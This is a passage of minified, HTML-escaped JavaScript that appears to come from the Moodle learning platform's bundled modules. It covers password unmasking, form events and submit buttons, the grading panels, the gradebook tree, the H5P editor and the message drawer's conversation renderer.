this.passwordVisible()?this.inputField.attr(&quot;type&quot;,&quot;text&quot;):this.inputField.attr(&quot;type&quot;,&quot;password&quot;),this.inputField.val(value),this.inputField.attr(&quot;size&quot;,this.inputField.attr(&quot;data-size&quot;)),this.editInstructions.length&amp;&amp;(this.inputField.attr(&quot;aria-describedby&quot;,this.editInstructions.attr(&quot;id&quot;)),this.editInstructions.show()),this.wrapper.attr(&quot;data-passwordunmask-visible&quot;,1),this.editLink.hide(),this.inputField.focus().select(),$(&quot;body&quot;).on(&quot;focusout&quot;,this.wrapperSelector,$.proxy(this.checkFocusOut,this)),this},PasswordUnmask.prototype.turnEditingOff=function(focusOnEditLink){$(&quot;body&quot;).off(&quot;focusout&quot;,this.wrapperSelector,this.checkFocusOut);var value=this.getDisplayValue();return this.inputField.attr(&quot;type&quot;,&quot;hidden&quot;).attr(&quot;aria-describedby&quot;,null),this.inputField.val(value),this.editInstructions.hide(),this.wrapper.removeAttr(&quot;data-passwordunmask-visible&quot;),this.inputField.removeAttr(&quot;size&quot;),this.editLink.show(),this.setDisplayValue(),focusOnEditLink&amp;&amp;this.editLink.focus(),this},PasswordUnmask.prototype.getDisplayValue=function(){return this.inputField.val()},PasswordUnmask.prototype.setDisplayValue=function(){var value=this.getDisplayValue();return this.isEditing()&amp;&amp;(this.wrapper.data(&quot;unmasked&quot;)?this.inputField.attr(&quot;type&quot;,&quot;text&quot;):this.inputField.attr(&quot;type&quot;,&quot;password&quot;),this.inputField.val(value)),value&amp;&amp;this.wrapper.data(&quot;unmasked&quot;)?this.displayValue.text(value):(value||(value=&quot;&quot;),Template.render(&quot;core_form/element-passwordunmask-fill&quot;,{element:{frozen:this.inputField.is(&quot;[readonly]&quot;),value:value,valuechars:value.split(&quot;&quot;)}}).done($.proxy((function(html,js){this.displayValue.html(html),Template.runTemplateJS(js)}),this))),this},PasswordUnmask}));
define(&quot;core_form/events&quot;,[&quot;exports&quot;,&quot;core/str&quot;,&quot;core/event_dispatcher&quot;,&quot;jquery&quot;,&quot;core/yui&quot;],(function(_exports,_str,_event_dispatcher,_jquery,_yui){function _interopRequireDefault(obj){return obj&amp;&amp;obj.__esModule?obj:{default:obj}}
/**
   * Javascript events for the `core_form` subsystem.
   *
   * @module core_form/events
   * @copyright 2021 Huong Nguyen &lt;huongnv13@gmail.com&gt;
   * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
   * @since 3.10
   *
   * @example &lt;caption&gt;Example of listening to a form event.&lt;/caption&gt;
   * import {eventTypes as formEventTypes} from &#039;core_form/events&#039;;
   *
   * document.addEventListener(formEventTypes.formSubmittedByJavascript, e =&gt; {
   *     window.console.log(e.target); // The form that was submitted.
   *     window.console.log(e.detail.skipValidation); // Whether form validation was skipped.
   * });
   */let changesMadeString;Object.defineProperty(_exports,&quot;__esModule&quot;,{value:!0}),_exports.types=_exports.triggerUploadStarted=_exports.triggerUploadCompleted=_exports.notifyUploadStarted=_exports.notifyUploadCompleted=_exports.notifyUploadChanged=_exports.notifyFormSubmittedByJavascript=_exports.notifyFormError=_exports.notifyFieldValidationFailure=_exports.eventTypes=void 0,_jquery=_interopRequireDefault(_jquery),_yui=_interopRequireDefault(_yui);const changesMadeCheck=e=&gt;{e&amp;&amp;(e.returnValue=changesMadeString)},eventTypes={formError:&quot;core_form/error&quot;,formSubmittedByJavascript:&quot;core_form/submittedByJavascript&quot;,formFieldValidationFailed:&quot;core_form/fieldValidationFailed&quot;,uploadStarted:&quot;core_form/uploadStarted&quot;,uploadCompleted:&quot;core_form/uploadCompleted&quot;,uploadChanged:&quot;core_form/uploadChanged&quot;};_exports.eventTypes=eventTypes;_exports.notifyFormError=field=&gt;(0,_event_dispatcher.dispatchEvent)(eventTypes.formError,{},field);_exports.notifyFormSubmittedByJavascript=function(form){let skipValidation=arguments.length&gt;1&amp;&amp;void 0!==arguments[1]&amp;&amp;arguments[1],fallbackHandled=arguments.length&gt;2&amp;&amp;void 0!==arguments[2]&amp;&amp;arguments[2];skipValidation&amp;&amp;(window.skipClientValidation=!0);const customEvent=(0,_event_dispatcher.dispatchEvent)(eventTypes.formSubmittedByJavascript,{skipValidation:skipValidation,fallbackHandled:fallbackHandled},form);return skipValidation&amp;&amp;(window.skipClientValidation=!1),customEvent};_exports.notifyFieldValidationFailure=(field,message)=&gt;(0,_event_dispatcher.dispatchEvent)(eventTypes.formFieldValidationFailed,{message:message},field,{cancelable:!0});const notifyUploadStarted=async elementId=&gt;(changesMadeString=await(0,_str.get_string)(&quot;changesmadereallygoaway&quot;,&quot;moodle&quot;),window.addEventListener(&quot;beforeunload&quot;,changesMadeCheck),(0,_event_dispatcher.dispatchEvent)(eventTypes.uploadStarted,{},document.getElementById(elementId),{bubbles:!0,cancellable:!1}));_exports.notifyUploadStarted=notifyUploadStarted;const notifyUploadCompleted=elementId=&gt;(window.removeEventListener(&quot;beforeunload&quot;,changesMadeCheck),(0,_event_dispatcher.dispatchEvent)(eventTypes.uploadCompleted,{},document.getElementById(elementId),{bubbles:!0,cancellable:!1}));_exports.notifyUploadCompleted=notifyUploadCompleted;const triggerUploadStarted=notifyUploadStarted;_exports.triggerUploadStarted=triggerUploadStarted;const triggerUploadCompleted=notifyUploadCompleted;_exports.triggerUploadCompleted=triggerUploadCompleted;_exports.types={uploadStarted:&quot;core_form/uploadStarted&quot;,uploadCompleted:&quot;core_form/uploadCompleted&quot;};let legacyEventsRegistered=!1;legacyEventsRegistered||(_yui.default.use(&quot;event&quot;,&quot;moodle-core-event&quot;,(()=&gt;{document.addEventListener(eventTypes.formError,(e=&gt;{const element=_yui.default.one(e.target),formElement=_yui.default.one(e.target.closest(&quot;form&quot;));_yui.default.Global.fire(M.core.globalEvents.FORM_ERROR,{formid:formElement.generateID(),elementid:element.generateID()})})),document.addEventListener(eventTypes.formSubmittedByJavascript,(e=&gt;{if(e.detail.fallbackHandled)return;e.skipValidation&amp;&amp;(window.skipClientValidation=!0);const form=_yui.default.one(e.target);form.fire(M.core.event.FORM_SUBMIT_AJAX,{currentTarget:form,fallbackHandled:!0}),e.skipValidation&amp;&amp;(window.skipClientValidation=!1)}))})),document.addEventListener(eventTypes.formFieldValidationFailed,(e=&gt;{const legacyEvent=_jquery.default.Event(&quot;core_form-field-validation&quot;);(0,_jquery.default)(e.target).trigger(legacyEvent,e.detail.message)})),legacyEventsRegistered=!0);_exports.notifyUploadChanged=elementId=&gt;(0,_event_dispatcher.dispatchEvent)(eventTypes.uploadChanged,{},document.getElementById(elementId),{bubbles:!0,cancellable:!1})}));
define(&quot;core_form/submit&quot;,[&quot;exports&quot;,&quot;core_form/events&quot;],(function(_exports,_events){Object.defineProperty(_exports,&quot;__esModule&quot;,{value:!0}),_exports.init=void 0;
/**
   * Submit button JavaScript. All submit buttons will be automatically disabled once the form is
   * submitted, unless that submission results in an error/cancelling the submit.
   *
   * @module core_form/submit
   * @copyright 2019 The Open University
   * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
   * @since 3.8
   */
let cookieListener=0;const cookieListeningButtons=[];let currentUploadCount=0;const uploadListeningButtons=[];let uploadListenersRegistered=!1;const getCookieName=()=&gt;&quot;moodledownload_&quot;+M.cfg.sesskey,clearDownloadCookie=()=&gt;{document.cookie=encodeURIComponent(getCookieName())+&quot;=deleted; expires=&quot;+new Date(0).toUTCString()},checkUploadCount=()=&gt;{currentUploadCount?uploadListeningButtons.forEach((button=&gt;{button.disabled=!0})):uploadListeningButtons.forEach((button=&gt;{button.disabled=!1}))};_exports.init=elementId=&gt;{const button=document.getElementById(elementId);button.disabled||uploadListeningButtons.push(button),uploadListenersRegistered||(document.addEventListener(_events.eventTypes.uploadStarted,(e=&gt;{window.console.log(e.target),currentUploadCount++,checkUploadCount()})),document.addEventListener(_events.eventTypes.uploadCompleted,(e=&gt;{window.console.log(e.target),currentUploadCount--,checkUploadCount()})),uploadListenersRegistered=!0),&quot;off&quot;!==button.form.dataset.doubleSubmitProtection&amp;&amp;button.form.addEventListener(&quot;submit&quot;,(function(event){const disableAction=function(){event.defaultPrevented||button.disabled||(button.disabled=!0,clearDownloadCookie(),(button=&gt;{cookieListeningButtons.push(button),cookieListener||(cookieListener=setInterval((()=&gt;{2==document.cookie.split(getCookieName()+&quot;=&quot;).length&amp;&amp;(clearDownloadCookie(),clearInterval(cookieListener),cookieListener=0,cookieListeningButtons.forEach((button=&gt;{button.disabled=!1})))}),500))})(button))};window.addEventListener(&quot;beforeunload&quot;,disableAction),setTimeout((function(){window.removeEventListener(&quot;beforeunload&quot;,disableAction)}),0)}),!1)}}));
define(&quot;core_grades/grades/grader/gradingpanel/repository&quot;,[&quot;exports&quot;,&quot;core/ajax&quot;,&quot;./normalise&quot;],(function(_exports,_ajax,_normalise){Object.defineProperty(_exports,&quot;__esModule&quot;,{value:!0}),_exports.saveGrade=_exports.fetchGrade=void 0;_exports.fetchGrade=type=&gt;(component,contextid,itemname,gradeduserid)=&gt;(0,_ajax.call)([{methodname:&quot;core_grades_grader_gradingpanel_&quot;.concat(type,&quot;_fetch&quot;),args:{component:component,contextid:contextid,itemname:itemname,gradeduserid:gradeduserid}}])[0];_exports.saveGrade=type=&gt;async(component,contextid,itemname,gradeduserid,notifyUser,formdata)=&gt;(0,_normalise.normaliseResult)(await(0,_ajax.call)([{methodname:&quot;core_grades_grader_gradingpanel_&quot;.concat(type,&quot;_store&quot;),args:{component:component,contextid:contextid,itemname:itemname,gradeduserid:gradeduserid,notifyuser:notifyUser,formdata:formdata}}])[0])}));
define(&quot;core_grades/grades/grader/gradingpanel/scale&quot;,[&quot;exports&quot;,&quot;./repository&quot;,&quot;core_grades/grades/grader/gradingpanel/comparison&quot;,&quot;jquery&quot;,&quot;./normalise&quot;],(function(_exports,_repository,_comparison,_jquery,_normalise){var obj;
/**
   * Grading panel for simple direct grading.
   *
   * @module     core_grades/grades/grader/gradingpanel/scale
   * @copyright  2019 Andrew Nicols &lt;andrew@nicols.co.uk&gt;
   * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
   */Object.defineProperty(_exports,&quot;__esModule&quot;,{value:!0}),_exports.storeCurrentGrade=_exports.fetchCurrentGrade=void 0,_jquery=(obj=_jquery)&amp;&amp;obj.__esModule?obj:{default:obj};_exports.fetchCurrentGrade=function(){return(0,_repository.fetchGrade)(&quot;scale&quot;)(...arguments)};_exports.storeCurrentGrade=(component,context,itemname,userId,notifyUser,rootNode)=&gt;{const form=rootNode.querySelector(&quot;form&quot;),grade=form.querySelector(&#039;select[name=&quot;grade&quot;]&#039;);return grade.checkValidity()&amp;&amp;grade.value.trim()?!0===(0,_comparison.compareData)(form)?(0,_repository.saveGrade)(&quot;scale&quot;)(component,context,itemname,userId,notifyUser,(0,_jquery.default)(form).serialize()):&quot;&quot;:_normalise.invalidResult}}));
define(&quot;core_grades/grades/grader/gradingpanel/comparison&quot;,[&quot;exports&quot;],(function(_exports){Object.defineProperty(_exports,&quot;__esModule&quot;,{value:!0}),_exports.fillInitialValues=_exports.compareData=void 0;
/**
   * Compare a given form&#039;s values and its previously set data attributes.
   *
   * @module     core_grades/grades/grader/gradingpanel/comparison
   * @copyright  2019 Mathew May &lt;mathew.solutions&gt;
   * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
   */
const fillInitialValues=form=&gt;{Array.prototype.forEach.call(form.elements,(input=&gt;{&quot;submit&quot;!==input.type&amp;&amp;&quot;button&quot;!==input.type&amp;&amp;(&quot;radio&quot;===input.type||&quot;checkbox&quot;===input.type?input.dataset.initialValue=JSON.stringify(input.checked):void 0!==input.value?input.dataset.initialValue=JSON.stringify(input.value):&quot;select-one&quot;===input.type&amp;&amp;Array.prototype.forEach.call(input.options,(option=&gt;{option.dataset.initialValue=JSON.stringify(option.selected)})))}))};_exports.fillInitialValues=fillInitialValues;_exports.compareData=form=&gt;{const result=Array.prototype.some.call(form.elements,(input=&gt;{if(&quot;submit&quot;===input.type||&quot;button&quot;===input.type)return!1;if(&quot;radio&quot;===input.type||&quot;checkbox&quot;===input.type){if(void 0!==input.dataset.initialValue)return input.dataset.initialValue!==JSON.stringify(input.checked)}else if(void 0!==input.value){if(void 0!==input.dataset.initialValue)return input.dataset.initialValue!==JSON.stringify(input.value)}else if(&quot;select-one&quot;===input.type)return Array.prototype.some.call(input.options,(option=&gt;void 0!==option.dataset.initialValue&amp;&amp;option.dataset.initialValue!==JSON.stringify(option.selected)));return!0}));return fillInitialValues(form),result}}));
define(&quot;core_grades/grades/grader/gradingpanel/point&quot;,[&quot;exports&quot;,&quot;./repository&quot;,&quot;core_grades/grades/grader/gradingpanel/comparison&quot;,&quot;jquery&quot;,&quot;./normalise&quot;],(function(_exports,_repository,_comparison,_jquery,_normalise){var obj;
/**
   * Grading panel for simple direct grading.
   *
   * @module     core_grades/grades/grader/gradingpanel/point
   * @copyright  2019 Andrew Nicols &lt;andrew@nicols.co.uk&gt;
   * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
   */Object.defineProperty(_exports,&quot;__esModule&quot;,{value:!0}),_exports.storeCurrentGrade=_exports.fetchCurrentGrade=void 0,_jquery=(obj=_jquery)&amp;&amp;obj.__esModule?obj:{default:obj};_exports.fetchCurrentGrade=function(){return(0,_repository.fetchGrade)(&quot;point&quot;)(...arguments)};_exports.storeCurrentGrade=async(component,context,itemname,userId,notifyUser,rootNode)=&gt;{const form=rootNode.querySelector(&quot;form&quot;),grade=form.querySelector(&#039;input[name=&quot;grade&quot;]&#039;);return grade.checkValidity()&amp;&amp;grade.value.trim()?!0===(0,_comparison.compareData)(form)?await(0,_repository.saveGrade)(&quot;point&quot;)(component,context,itemname,userId,notifyUser,(0,_jquery.default)(form).serialize()):&quot;&quot;:_normalise.invalidResult}}));
define(&quot;core_grades/grades/grader/gradingpanel/normalise&quot;,[&quot;exports&quot;],(function(_exports){Object.defineProperty(_exports,&quot;__esModule&quot;,{value:!0}),_exports.normaliseResult=_exports.invalidResult=_exports.failedUpdate=void 0;_exports.normaliseResult=result=&gt;({result:result,failed:!!result.warnings.length,success:!result.warnings.length,error:null});_exports.invalidResult=()=&gt;({success:!1,failed:!1,result:{},error:null});_exports.failedUpdate=error=&gt;({success:!1,failed:!0,result:{},error:error})}));
/**
 * Enhance the gradebook tree setup with various facilities.
 *
 * @module     core_grades/edittree_index
 * @copyright  2016 Andrew Nicols &lt;andrew@nicols.co.uk&gt;
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
define(&quot;core_grades/edittree_index&quot;,[&quot;jquery&quot;],(function($){var edittree=function(){$(&quot;body&quot;).on(&quot;change&quot;,&quot;.weightoverride&quot;,edittree.toggleWeightInput),$(&quot;#menumoveafter&quot;).on(&quot;change&quot;,(function(){var form=$(this).closest(&quot;form&quot;);form.find(&quot;#bulkmoveinput&quot;).val(1),form.submit()}))};return edittree.toggleWeightInput=function(e){e.preventDefault();var node=$(this),row=node.closest(&quot;tr&quot;);$(&#039;input[name=&quot;weight_&#039;+row.data(&quot;itemid&quot;)+&#039;&quot;]&#039;).prop(&quot;disabled&quot;,!node.prop(&quot;checked&quot;))},{enhance:edittree}}));
define(&quot;core_h5p/editor_display&quot;,[&quot;exports&quot;,&quot;jquery&quot;],(function(_exports,_jquery){var obj;
/**
   * This module handles the display of the H5P authoring tool.
   *
   * @module     core_h5p/editor_display
   * @copyright  2020 Victor Deniz &lt;victor@moodle.com&gt;
   * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
   */Object.defineProperty(_exports,&quot;__esModule&quot;,{value:!0}),_exports.init=void 0,_jquery=(obj=_jquery)&amp;&amp;obj.__esModule?obj:{default:obj};_exports.init=elementId=&gt;{const editorwrapper=(0,_jquery.default)(&quot;#&quot;+elementId),editor=(0,_jquery.default)(&quot;.h5p-editor&quot;),mform=editor.closest(&quot;form&quot;),editorupload=(0,_jquery.default)(&quot;h5p-editor-upload&quot;),h5plibrary=(0,_jquery.default)(&#039;input[name=&quot;h5plibrary&quot;]&#039;),h5pparams=(0,_jquery.default)(&#039;input[name=&quot;h5pparams&quot;]&#039;),inputname=(0,_jquery.default)(&#039;input[name=&quot;name&quot;]&#039;),h5paction=(0,_jquery.default)(&#039;input[name=&quot;h5paction&quot;]&#039;);h5paction.val(&quot;create&quot;),H5PEditor.init(mform,h5paction,editorupload,editorwrapper,editor,h5plibrary,h5pparams,&quot;&quot;,inputname,(function($button){return $button.is(&#039;[name=&quot;cancel&quot;]&#039;)})),document.querySelector(&quot;#&quot;+elementId+&quot; iframe&quot;).setAttribute(&quot;name&quot;,&quot;h5p-editor&quot;)}}));
/**
 * This module updates the UI for the conversation page in the message
 * drawer.
 *
 * The module will take a patch from the message_drawer_view_conversation_patcher
 * module and update the UI to reflect the changes.
 *
 * This is the only module that ever modifies the UI of the conversation page.
 *
 * @module     core_message/message_drawer_view_conversation_renderer
 * @copyright  2018 Ryan Wyllie &lt;ryan@moodle.com&gt;
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
define(&quot;core_message/message_drawer_view_conversation_renderer&quot;,[&quot;jquery&quot;,&quot;core/notification&quot;,&quot;core/str&quot;,&quot;core/templates&quot;,&quot;core/user_date&quot;,&quot;core_message/message_drawer_view_conversation_constants&quot;,&quot;core/aria&quot;],(function($,Notification,Str,Templates,UserDate,Constants,Aria){var SELECTORS=Constants.SELECTORS,TEMPLATES=Constants.TEMPLATES,CONVERSATION_TYPES=Constants.CONVERSATION_TYPES,getMessagesContainer=function(body){return body.find(SELECTORS.CONTENT_MESSAGES_CONTAINER)},getSelfConversationMessageContainer=function(body){return body.find(SELECTORS.SELF_CONVERSATION_MESSAGE_CONTAINER)},getContactRequestSentContainer=function(body){return body.find(SELECTORS.CONTACT_REQUEST_SENT_MESSAGE_CONTAINER)},getFooterContentContainer=function(footer){return footer.find(SELECTORS.CONTENT_MESSAGES_FOOTER_CONTAINER)},getFooterEditModeContainer=function(footer){return footer.find(SELECTORS.CONTENT_MESSAGES_FOOTER_EDIT_MODE_CONTAINER)},getFooterPlaceholderContainer=function(footer){return footer.find(SELECTORS.PLACEHOLDER_CONTAINER)},showFooterPlaceholder=function(footer){getFooterPlaceholderContainer(footer).removeClass(&quot;hidden&quot;)},getFooterRequireContactContainer=function(footer){return footer.find(SELECTORS.CONTENT_MESSAGES_FOOTER_REQUIRE_CONTACT_CONTAINER)},getFooterRequireUnblockContainer=function(footer){return footer.find(SELECTORS.CONTENT_MESSAGES_FOOTER_REQUIRE_UNBLOCK_CONTAINER)},getFooterUnableToMessageContainer=function(footer){return footer.find(SELECTORS.CONTENT_MESSAGES_FOOTER_UNABLE_TO_MESSAGE_CONTAINER)},hideAllFooterElements=function(footer){!function(footer){getFooterContentContainer(footer).addClass(&quot;hidden&quot;)}(footer),function(footer){getFooterEditModeContainer(footer).addClass(&quot;hidden&quot;)}(footer),function(footer){getFooterPlaceholderContainer(footer).addClass(&quot;hidden&quot;)}(footer),function(footer){getFooterRequireContactContainer(footer).addClass(&quot;hidden&quot;)}(footer),function(footer){getFooterRequireUnblockContainer(footer).addClass(&quot;hidden&quot;)}(footer),function(footer){getFooterUnableToMessageContainer(footer).addClass(&quot;hidden&quot;)}(footer)},getContentPlaceholderContainer=function(body){return body.find(SELECTORS.CONTENT_PLACEHOLDER_CONTAINER)},getHeaderContent=function(header){return header.find(SELECTORS.HEADER)},showHeaderContent=function(header){getHeaderContent(header).removeClass(&quot;hidden&quot;)},hideHeaderContent=function(header){getHeaderContent(header).addClass(&quot;hidden&quot;)},getHeaderEditMode=function(header){return header.find(SELECTORS.HEADER_EDIT_MODE)},hideHeaderEditMode=function(header){getHeaderEditMode(header).addClass(&quot;hidden&quot;)},getHeaderPlaceholderContainer=function(header){return header.find(SELECTORS.HEADER_PLACEHOLDER_CONTAINER)},showHeaderPlaceholder=function(header){getHeaderPlaceholderContainer(header).removeClass(&quot;hidden&quot;)},hideHeaderPlaceholder=function(header){getHeaderPlaceholderContainer(header).addClass(&quot;hidden&quot;)},getMessageElement=function(body,messageId){return getMessagesContainer(body).find(&#039;[data-message-id=&quot;&#039;+messageId+&#039;&quot;]&#039;)},getDayElement=function(body,dayTimeCreated){return getMessagesContainer(body).find(&#039;[data-day-id=&quot;&#039;+dayTimeCreated+&#039;&quot;]&#039;)},getMoreMessagesLoadingIconContainer=function(body){return body.find(SELECTORS.MORE_MESSAGES_LOADING_ICON_CONTAINER)},getConfirmDialogueContainer=function(root){return root.find(SELECTORS.CONFIRM_DIALOGUE_CONTAINER)},showConfirmDialogueContainer=function(root){var container=getConfirmDialogueContainer(root),siblings=container.siblings(&quot;:not(.hidden)&quot;);Aria.hide(siblings.get()),siblings.attr(&quot;data-confirm-dialogue-hidden&quot;,!0),container.removeClass(&quot;hidden&quot;)},hideConfirmDialogueContainer=function(root){var container=getConfirmDialogueContainer(root),siblings=container.siblings(&#039;[data-confirm-dialogue-hidden=&quot;true&quot;]&#039;);Aria.unhide(siblings.get()),siblings.removeAttr(&quot;data-confirm-dialogue-hidden&quot;),container.addClass(&quot;hidden&quot;)},formatMessagesForTemplate=function(messages,datesCache){return messages.map((function(message){return{id:message.id,isread:message.isRead,fromloggedinuser:message.fromLoggedInUser,userfrom:message.userFrom,text:message.text,formattedtime:message.timeCreated?datesCache[message.timeCreated]:null}}))},renderConversation=function(header,body,footer,data){var renderingPromises=[],hasAddDays=data.days.add.length&gt;0,hasAddMessages=data.messages.add.length&gt;0,hasUpdateMessages=data.messages.update.length&gt;0,timestampsToFormat=[],datesCachePromise=$.Deferred().resolve({}).promise();return hasAddDays&amp;&amp;(timestampsToFormat=timestampsToFormat.concat(data.days.add.reduce((function(carry,day){return carry.concat(day.value.messages.reduce((function(timestamps,message){return message.timeCreated&amp;&amp;timestamps.push(message.timeCreated),timestamps}),[]))}),[]))),hasAddMessages&amp;&amp;(timestampsToFormat=timestampsToFormat.concat(data.messages.add.reduce((function(timestamps,message){return message.value.timeCreated&amp;&amp;timestamps.push(message.value.timeCreated),timestamps}),[]))),hasUpdateMessages&amp;&amp;(timestampsToFormat=timestampsToFormat.concat(data.messages.update.reduce((function(timestamps,message){return message.before.timeCreated!=message.after.timeCreated&amp;&amp;timestamps.push(message.after.timeCreated),timestamps}),[]))),timestampsToFormat.length&amp;&amp;(datesCachePromise=Str.get_string(&quot;strftimetime24&quot;,&quot;core_langconfig&quot;).then((function(format){var requests=timestampsToFormat.map((function(timestamp){return{timestamp:timestamp,format:format}}));return UserDate.get(requests)})).then((function(formattedTimes){return timestampsToFormat.reduce((function(carry,timestamp,index){return carry[timestamp]=formattedTimes[index],carry}),{})}))),hasAddDays&amp;&amp;renderingPromises.push(datesCachePromise.then((function(datesCache){return function(header,body,footer,days,datesCache){var messagesContainer=getMessagesContainer(body),daysRenderPromises=days.map((function(data){var timestampDate=new Date(1e3*data.value.timestamp);return Templates.render(TEMPLATES.DAY,{timestamp:data.value.timestamp,currentyear:timestampDate.getFullYear()===(new Date).getFullYear(),messages:formatMessagesForTemplate(data.value.messages,datesCache)})}));return $.when.apply($,daysRenderPromises).then((function(){days.forEach((function(data,index){daysRenderPromises[index].then((function(html){if(data.before){var element=getDayElement(body,data.before.timestamp);return $(html).insertBefore(element)}return messagesContainer.append(html)})).catch((function(){}))}))}))}(0,body,0,data.days.add,datesCache)}))),hasAddMessages&amp;&amp;renderingPromises.push(datesCachePromise.then((function(datesCache){return function(header,body,footer,messages,datesCache){var messagesData=messages.map((function(data){return data.value})),formattedMessages=formatMessagesForTemplate(messagesData,datesCache);return Templates.render(TEMPLATES.MESSAGES,{messages:formattedMessages}).then((function(html){var messageList=$(html);messages.forEach((function(data){var messageHtml=messageList.find(&#039;[data-message-id=&quot;&#039;+data.value.id+&#039;&quot;]&#039;);if(data.before){var element=getMessageElement(body,data.before.id);return messageHtml.insertBefore(element)}return getDayElement(body,data.day.timestamp).find(SELECTORS.DAY_MESSAGES_CONTAINER).append(messageHtml)}))}))}(0,body,0,data.messages.add,datesCache)}))),hasUpdateMessages&amp;&amp;renderingPromises.push(datesCachePromise.then((function(datesCache){return function(header,body,footer,messages,datesCache){messages.forEach((function(message){var before=message.before,after=message.after,element=getMessageElement(body,before.id);if(before.id!=after.id&amp;&amp;element.attr(&quot;data-message-id&quot;,after.id),before.timeCreated!=after.timeCreated){var formattedTime=datesCache[after.timeCreated];element.find(SELECTORS.LOADING_ICON_CONTAINER).addClass(&quot;hidden&quot;),element.find(SELECTORS.TIME_CREATED).text(formattedTime).removeClass(&quot;hidden&quot;)}if(before.sendState!=after.sendState){var loading=element.find(SELECTORS.LOADING_ICON_CONTAINER),time=element.find(SELECTORS.TIME_CREATED),retry=element.find(SELECTORS.RETRY_SEND);switch(loading.addClass(&quot;hidden&quot;),Aria.hide(loading.get()),time.addClass(&quot;hidden&quot;),Aria.hide(time.get()),retry.addClass(&quot;hidden&quot;),Aria.hide(retry.get()),element.removeClass(&quot;border border-danger&quot;),after.sendState){case&quot;pending&quot;:loading.removeClass(&quot;hidden&quot;),Aria.unhide(loading.get());break;case&quot;error&quot;:retry.removeClass(&quot;hidden&quot;),Aria.unhide(retry.get()),element.addClass(&quot;border border-danger&quot;);break;case&quot;sent&quot;:time.removeClass(&quot;hidden&quot;),Aria.unhide(time.get())}}if(before.text!=after.text&amp;&amp;element.find(SELECTORS.TEXT_CONTAINER).html(after.text),before.errorMessage!=after.errorMessage){var messageContainer=element.find(SELECTORS.ERROR_MESSAGE_CONTAINER);message=messageContainer.find(SELECTORS.ERROR_MESSAGE),after.errorMessage?(messageContainer.removeClass(&quot;hidden&quot;),Aria.unhide(messageContainer.get()),message.text(after.errorMessage)):(messageContainer.addClass(&quot;hidden&quot;),Aria.unhide(messageContainer.get()),message.text(&quot;&quot;))}}))}(0,body,0,data.messages.update,datesCache)}))),data.days.remove.length&gt;0&amp;&amp;function(body,days){days.forEach((function(data){getDayElement(body,data.timestamp).remove()}))}(body,data.days.remove),data.messages.remove.length&gt;0&amp;&amp;function(body,messages){messages.forEach((function(data){getMessageElement(body,data.id).remove()}))}(body,data.messages.remove),$.when.apply($,renderingPromises)},renderHeader=function(header,body,footer,data){var headerContainer=getHeaderContent(header),template=TEMPLATES.HEADER_PUBLIC;return data.context.showrouteback=&quot;false&quot;===header.attr(&quot;data-from-panel&quot;),data.type==CONVERSATION_TYPES.PRIVATE?template=data.showControls?TEMPLATES.HEADER_PRIVATE:TEMPLATES.HEADER_PRIVATE_NO_CONTROLS:data.type==CONVERSATION_TYPES.SELF&amp;&amp;(template=TEMPLATES.HEADER_SELF),Templates.render(template,data.context).then((function(html,js){Templates.replaceNodeContents(headerContainer,html,js)}))},renderFooter=function(header,body,footer,data){switch(hideAllFooterElements(footer),data.type){case&quot;placeholder&quot;:return showFooterPlaceholder(footer);case&quot;add-contact&quot;:return Str.get_strings([{key:&quot;requirecontacttomessage&quot;,component:&quot;core_message&quot;,param:data.user.fullname},{key:&quot;isnotinyourcontacts&quot;,component:&quot;core_message&quot;,param:data.user.fullname}]).then((function(strings){var title=strings[1],text=strings[0],footerContainer=getFooterRequireContactContainer(footer);return footerContainer.find(SELECTORS.TITLE).text(title),footerContainer.find(SELECTORS.TEXT).text(text),function(footer){getFooterRequireContactContainer(footer).removeClass(&quot;hidden&quot;)}(footer),strings}));case&quot;edit-mode&quot;:return function(footer){getFooterEditModeContainer(footer).removeClass(&quot;hidden&quot;)}(footer);case&quot;content&quot;:return function(footer){getFooterContentContainer(footer).removeClass(&quot;hidden&quot;)}(footer);case&quot;unblock&quot;:return function(footer){getFooterRequireUnblockContainer(footer).removeClass(&quot;hidden&quot;)}(footer);case&quot;unable-to-message&quot;:return function(footer){getFooterUnableToMessageContainer(footer).removeClass(&quot;hidden&quot;)}(footer)}return!0},renderScrollToMessage=function(header,body,footer,messageId){var messagesContainer=getMessagesContainer(body),position=getMessageElement(body,messageId).position();if(position){var scrollTop=messagesContainer.scrollTop()+position.top;messagesContainer.scrollTop(scrollTop)}},renderLoadingMembers=function(header,body,footer,isLoadingMembers){isLoadingMembers?(hideHeaderContent(header),showHeaderPlaceholder(header)):(showHeaderContent(header),hideHeaderPlaceholder(header))},renderLoadingFirstMessages=function(header,body,footer,isLoadingFirstMessages){isLoadingFirstMessages?(function(body){getMessagesContainer(body).addClass(&quot;hidden&quot;)}(body),function(body){getContentPlaceholderContainer(body).removeClass(&quot;hidden&quot;)}(body)):(function(body){getMessagesContainer(body).removeClass(&quot;hidden&quot;)}(body),function(body){getContentPlaceholderContainer(body).addClass(&quot;hidden&quot;)}(body))},renderLoadingMessages=function(header,body,footer,isLoading){isLoading?function(body){getMoreMessagesLoadingIconContainer(body).removeClass(&quot;hidden&quot;)}(body):function(body){getMoreMessagesLoadingIconContainer(body).addClass(&quot;hidden&quot;)}(body)},renderShowEmojiPicker=function(header,body,footer,show){var container=function(footer){return footer.find(SELECTORS.EMOJI_PICKER_CONTAINER)}(footer);show?(container.removeClass(&quot;hidden&quot;),Aria.unhide(container.get()),container.find(SELECTORS.EMOJI_PICKER_SEARCH_INPUT).focus()):(container.addClass(&quot;hidden&quot;),Aria.hide(container.get()))},renderShowEmojiAutoComplete=function(header,body,footer,show){var container=function(footer){return footer.find(SELECTORS.EMOJI_AUTO_COMPLETE_CONTAINER)}(footer);show?(container.removeClass(&quot;hidden&quot;),Aria.unhide(container.get())):(container.addClass(&quot;hidden&quot;),Aria.hide(container.get()))},showConfirmDialogue=function(header,body,footer,buttonSelectors,bodyText,headerText,canCancel,skipHeader,showOk){var dialogue=getConfirmDialogueContainer(body),buttons=buttonSelectors.map((function(selector){return 